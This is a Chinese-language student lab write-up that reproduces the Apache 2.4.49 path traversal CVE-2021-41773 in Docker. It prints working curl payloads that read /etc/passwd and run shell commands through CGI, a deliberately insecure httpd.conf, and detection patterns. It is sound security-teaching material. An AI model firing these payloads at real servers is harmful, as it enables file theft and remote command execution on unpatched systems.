
WHS 4기 이희수. kr-vulhub 과제 제출물
贡献者
Apache HTTP Server 2.4.49 存在一个漏洞,在URL路径规范化过程中未能正确阻止编码的父路径。
攻击者可以使用 .%2e 等值绕过Web服务器公开设置的目录,访问目录之外的路径。在允许访问外部目录的环境中,服务器内部文件可能被泄露;如果启用了CGI功能,则可能执行系统shell,从而导致远程命令执行。
本项目中,我们使用Docker直接搭建Apache HTTP Server 2.4.49环境,并复现了以下两种情况:
/etc/passwd 文件CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
使用以下命令构建Docker镜像并运行容器
docker compose up -d --build
请使用以下命令查看容器运行状态
docker ps
从运行结果中可以看到容器处于 Up 状态,且主机的8080端口已连接到容器的80端口。

在浏览器中访问以下地址:
http://localhost:8080
如果正常显示Apache网页,则证明环境配置完成。

使用以下命令查看容器内部的Apache版本
docker compose exec web /usr/local/apache2/bin/httpd -v
执行结果:
Server version: Apache/2.4.49 (Unix)
确认正在运行受CVE-2021-41773影响的Apache HTTP Server 2.4.49。

本实验环境应用了以下条件:
daemon 账户运行Apache配置中允许访问文件系统根目录,如下所示:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
此外,为执行CGI使用了以下配置:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
以下请求使用编码的父路径访问容器内部的 /etc/passwd 文件。
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e 在URL解码后被处理为 ..。
因此,攻击者可以基于Alias路径多次向上级目录跳转,然后访问 /etc/passwd 文件。
执行结果:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd 文件中存储了用户名、UID、GID、家目录及登录Shell等系统账户信息。
虽然实际不包含密码,但原本外部Web用户无法访问的服务器内部文件仅通过HTTP请求即被泄露,这证实了信息泄露漏洞的存在。
在实际生产环境中,可能通过相同方式泄露以下敏感信息:
以下请求利用路径遍历访问 /bin/sh 并执行 whoami 命令。
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
执行结果:
daemon

由于 /cgi-bin/ 路径通过 ScriptAlias 设置,Apache不会简单地读取该路径下的文件,而是将其作为CGI程序执行。
通过路径遍历访问 /bin/sh 后,将请求体中包含的命令传递给它,即可在Apache运行账户的权限下执行命令。
在本环境中,Apache以以下账户运行:
User daemon
Group daemon
因此命令执行结果也以 daemon 账户输出。
虽然不是root权限,但仍可能产生以下额外威胁:
无需逐个执行命令,可以使用PoC脚本一次性验证正常服务、路径遍历和远程命令执行。
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
脚本将按以下顺序验证:
[1] 验证正常服务
[2] 通过路径遍历访问 /etc/passwd
[3] 通过CGI执行 id 命令

不应使用Apache HTTP Server 2.4.49,应更新至已应用安全补丁的最新版本。
在生产环境中,应默认禁止访问文件系统根目录。
<Directory "/">
Require all denied
</Directory>
仅单独允许必要的Web目录。
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
如果不需要CGI功能,则禁用以下功能:
mod_cgiScriptAliasExecCGIApache进程应以非root的受限服务账户运行,并最小化该账户可以访问的文件和目录。
应检测并阻止包含以下异常路径的请求:
.%2e
%2e%2e
/cgi-bin/
docker compose down
本实验使用Dockerfile构建Apache HTTP Server 2.4.49,并通过Docker Compose搭建了可复现的漏洞环境。
通过路径遍历请求,验证了本不应被正常Web用户访问的容器内部 /etc/passwd 文件被泄露。
此外,在启用CGI的环境中,可以访问 /bin/sh 并以Apache运行账户 daemon 的权限执行系统命令。
由此可知,CVE-2021-41773不仅导致简单的路径泄露,还可能根据环境配置导致远程命令执行。